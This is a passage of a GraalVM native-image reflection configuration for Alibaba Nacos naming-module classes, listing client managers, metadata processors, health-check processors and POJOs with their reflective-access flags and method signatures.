{\"name\":\"isResponsibleClient\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.Client\"] }, {\"name\":\"syncClientConnected\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.core.v2.client.ClientAttributes\"] }, {\"name\":\"verifyClient\",\"parameterTypes\":[\"com.alibaba.nacos.naming.consistency.ephemeral.distro.v2.DistroClientVerifyInfo\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.manager.impl.ConnectionBasedClientManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"allClientId\",\"parameterTypes\":[] }, {\"name\":\"clientConnected\",\"parameterTypes\":[\"com.alibaba.nacos.core.remote.Connection\"] }, {\"name\":\"clientConnected\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.Client\"] }, {\"name\":\"clientConnected\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.core.v2.client.ClientAttributes\"] }, {\"name\":\"clientDisConnected\",\"parameterTypes\":[\"com.alibaba.nacos.core.remote.Connection\"] }, {\"name\":\"clientDisconnected\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"contains\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getClient\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"isResponsibleClient\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.Client\"] }, {\"name\":\"syncClientConnected\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.core.v2.client.ClientAttributes\"] }, {\"name\":\"verifyClient\",\"parameterTypes\":[\"com.alibaba.nacos.naming.consistency.ephemeral.distro.v2.DistroClientVerifyInfo\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.manager.impl.EphemeralIpPortClientManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.DistroMapper\",\"com.alibaba.nacos.naming.misc.SwitchDomain\"] }, {\"name\":\"allClientId\",\"parameterTypes\":[] }, {\"name\":\"clientConnected\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.Client\"] }, {\"name\":\"clientConnected\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.core.v2.client.ClientAttributes\"] }, {\"name\":\"clientDisconnected\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"contains\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getClient\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"isResponsibleClient\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.Client\"] }, {\"name\":\"syncClientConnected\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.core.v2.client.ClientAttributes\"] }, {\"name\":\"verifyClient\",\"parameterTypes\":[\"com.alibaba.nacos.naming.consistency.ephemeral.distro.v2.DistroClientVerifyInfo\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.manager.impl.PersistentIpPortClientManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"allClientId\",\"parameterTypes\":[] }, {\"name\":\"clientConnected\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.Client\"] }, {\"name\":\"clientConnected\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.core.v2.client.ClientAttributes\"] }, {\"name\":\"clientDisconnected\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"contains\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getClient\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"isResponsibleClient\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.Client\"] }, {\"name\":\"syncClientConnected\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.core.v2.client.ClientAttributes\"] }, {\"name\":\"verifyClient\",\"parameterTypes\":[\"com.alibaba.nacos.naming.consistency.ephemeral.distro.v2.DistroClientVerifyInfo\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.event.client.ClientEvent$ClientDisconnectEvent\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.event.client.ClientOperationEvent\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.event.client.ClientOperationEvent$ClientReleaseEvent\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.event.metadata.MetadataEvent$InstanceMetadataEvent\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.event.metadata.MetadataEvent$ServiceMetadataEvent\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.index.ClientServiceIndexesManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"onEvent\",\"parameterTypes\":[\"com.alibaba.nacos.common.notify.Event\"] }, {\"name\":\"subscribeTypes\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.index.ServiceStorage\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.index.ClientServiceIndexesManager\",\"com.alibaba.nacos.naming.core.v2.client.manager.ClientManagerDelegate\",\"com.alibaba.nacos.naming.misc.SwitchDomain\",\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.metadata.ExpiredMetadataInfo\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadata\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"unsafeAllocated\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadataHessianDeserializer\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadataProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager\",\"com.alibaba.nacos.core.distributed.ProtocolManager\"] }, {\"name\":\"group\",\"parameterTypes\":[] }, {\"name\":\"loadSnapshotOperate\",\"parameterTypes\":[] }, {\"name\":\"onApply\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.WriteRequest\"] }, {\"name\":\"onRequest\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.ReadRequest\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.metadata.MetadataOperation\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"onEvent\",\"parameterTypes\":[\"com.alibaba.nacos.common.notify.Event\"] }, {\"name\":\"subscribeTypes\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataOperateService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.distributed.ProtocolManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager\",\"com.alibaba.nacos.core.distributed.ProtocolManager\",\"com.alibaba.nacos.naming.core.v2.index.ServiceStorage\"] }, {\"name\":\"group\",\"parameterTypes\":[] }, {\"name\":\"loadSnapshotOperate\",\"parameterTypes\":[] }, {\"name\":\"onApply\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.WriteRequest\"] }, {\"name\":\"onRequest\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.ReadRequest\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.pojo.BatchInstanceData\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"unsafeAllocated\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.pojo.BatchInstanceDataHessianDeserializer\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.pojo.BatchInstancePublishInfo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.pojo.HealthCheckInstancePublishInfo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"unsafeAllocated\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.pojo.HealthCheckInstancePublishInfoHessianDeserializer\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.pojo.InstancePublishInfo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"unsafeAllocated\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.pojo.ServiceHessianDeserializer\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.service.ClientOperationService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getPublishInfo\",\"parameterTypes\":[\"com.alibaba.nacos.api.naming.pojo.Instance\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.service.ClientOperationServiceProxy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.service.impl.EphemeralClientOperationServiceImpl\",\"com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl\"] }, {\"name\":\"batchRegisterInstance\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"java.util.List\",\"java.lang.String\"] }, {\"name\":\"deregisterInstance\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.api.naming.pojo.Instance\",\"java.lang.String\"] }, {\"name\":\"registerInstance\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.api.naming.pojo.Instance\",\"java.lang.String\"] }, {\"name\":\"subscribeService\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"java.lang.String\"] }, {\"name\":\"unsubscribeService\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.service.impl.EphemeralClientOperationServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.manager.ClientManagerDelegate\"] }, {\"name\":\"batchRegisterInstance\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"java.util.List\",\"java.lang.String\"] }, {\"name\":\"deregisterInstance\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.api.naming.pojo.Instance\",\"java.lang.String\"] }, {\"name\":\"registerInstance\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.api.naming.pojo.Instance\",\"java.lang.String\"] }, {\"name\":\"subscribeService\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"java.lang.String\"] }, {\"name\":\"unsubscribeService\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.manager.impl.PersistentIpPortClientManager\"] }, {\"name\":\"batchRegisterInstance\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"java.util.List\",\"java.lang.String\"] }, {\"name\":\"deregisterInstance\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.api.naming.pojo.Instance\",\"java.lang.String\"] }, {\"name\":\"group\",\"parameterTypes\":[] }, {\"name\":\"loadSnapshotOperate\",\"parameterTypes\":[] }, {\"name\":\"onApply\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.WriteRequest\"] }, {\"name\":\"onRequest\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.ReadRequest\"] }, {\"name\":\"registerInstance\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.api.naming.pojo.Instance\",\"java.lang.String\"] }, {\"name\":\"subscribeService\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"java.lang.String\"] }, {\"name\":\"unsubscribeService\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl$InstanceStoreRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"unsafeAllocated\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl$InstanceStoreRequestHessianDeserializer\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.exception.ResponseExceptionHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.HealthCheckStatus\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"unsafeAllocated\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.HealthCheckStatusHessianDeserializer\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.RsInfo\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.extend.AbstractHealthCheckProcessorExtend\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.extend.HealthCheckExtendProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.extend.HealthCheckProcessorExtendV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.v2.HealthCheckTaskV2\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.v2.HealthStatusSynchronizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.v2.PersistentHealthStatusSynchronizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl\"] }, {\"name\":\"instanceHealthStatusChange\",\"parameterTypes\":[\"boolean\",\"com.alibaba.nacos.naming.core.v2.client.Client\",\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.core.v2.pojo.InstancePublishInfo\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.v2.processor.HealthCheckCommonV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.v2.processor.HealthCheckProcessorV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.v2.processor.HealthCheckProcessorV2Delegate\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.healthcheck.extend.HealthCheckExtendProvider\",\"com.alibaba.nacos.naming.healthcheck.extend.HealthCheckProcessorExtendV2\"] }, {\"name\":\"addProcessor\",\"parameterTypes\":[\"java.util.Collection\"] }, {\"name\":\"getType\",\"parameterTypes\":[] }, {\"name\":\"process\",\"parameterTypes\":[\"com.alibaba.nacos.naming.healthcheck.v2.HealthCheckTaskV2\",\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.v2.processor.HttpHealthCheckProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.healthcheck.v2.processor.HealthCheckCommonV2\",\"com.alibaba.nacos.naming.misc.SwitchDomain\"] }, {\"name\":\"getType\",\"parameterTypes\":[] }, {\"name\":\"process\",\"parameterTypes\":[\"com.alibaba.nacos.naming.healthcheck.v2.HealthCheckTaskV2\",\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.v2.processor.MysqlHealthCheckProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.healthcheck.v2.processor.HealthCheckCommonV2\",\"com.alibaba.nacos.naming.misc.SwitchDomain\"] }, {\"name\":\"getType\",\"parameterTypes\":[] }, {\"name\":\"process\",\"parameterTypes\":[\"com.alibaba.nacos.naming.healthcheck.v2.HealthCheckTaskV2\",\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.v2.processor.NoneHealthCheckProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getType\",\"parameterTypes\":[] }, {\"name\":\"process\",\"parameterTypes\":[\"com.alibaba.nacos.naming.healthcheck.v2.HealthCheckTaskV2\",\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.healthcheck.v2.processor.TcpHealthCheckProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.healthcheck.v2.processor.HealthCheckCommonV2\",\"com.alibaba.nacos.naming.misc.SwitchDomain\"] }, {\"name\":\"getType\",\"parameterTypes\":[] }, {\"name\":\"process\",\"parameterTypes\":[\"com.alibaba.nacos.naming.healthcheck.v2.HealthCheckTaskV2\",\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata\"] }, {\"name\":\"run\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.misc.GlobalConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.misc.NamingTraceEventInitializer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"registerSubscriberForNamingEvent\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.misc.SwitchDomain\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getChecksum\",\"parameterTypes\":[] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.misc.SwitchDomain$HealthParams\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.misc.SwitchDomain$HttpHealthParams\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.misc.SwitchDomain$MysqlHealthParams\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.misc.SwitchDomain$TcpHealthParams\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.misc.SwitchManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }, {\"name\":\"interests\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"matchUnlistenKey\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"onChange\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.pojo.Record\"] }, {\"name\":\"onDelete\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.model.form.InstanceForm\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.model.form.InstanceMetadataBatchOperationForm\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.model.form.ServiceForm\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.model.form.UpdateHealthForm\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.model.form.UpdateSwitchForm\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.model.vo.InstanceDetailInfoVo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.model.vo.InstanceMetadataBatchOperationVo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.model.vo.MetricsInfoVo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.monitor.MetricsMonitor\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.monitor.NamingDynamicMeterRefreshService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"refreshTopnServiceChangeCount\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.monitor.PerformanceLoggerThread\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"collectMetrics\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.monitor.collector.NamingSubAndPubMetricsCollector\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.manager.impl.ConnectionBasedClientManager\",\"com.alibaba.nacos.naming.core.v2.client.manager.impl.EphemeralIpPortClientManager\",\"com.alibaba.nacos.naming.core.v2.client.manager.impl.PersistentIpPortClientManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.monitor.collector.PushPendingTaskCountMetricsCollector\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.push.v2.NamingSubscriberServiceV2Impl\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.monitor.collector.ServiceEventQueueSizeMetricsCollector\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.paramcheck.NamingDefaultHttpParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.paramcheck.NamingInstanceBeatHttpParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.paramcheck.NamingInstanceListHttpParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.paramcheck.NamingInstanceMetadataBatchHttpParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.pojo.ClusterInfo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.pojo.InstanceOperationInfo\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.pojo.IpAddressInfo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.pojo.Record\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.pojo.ServiceDetailInfo\",\n  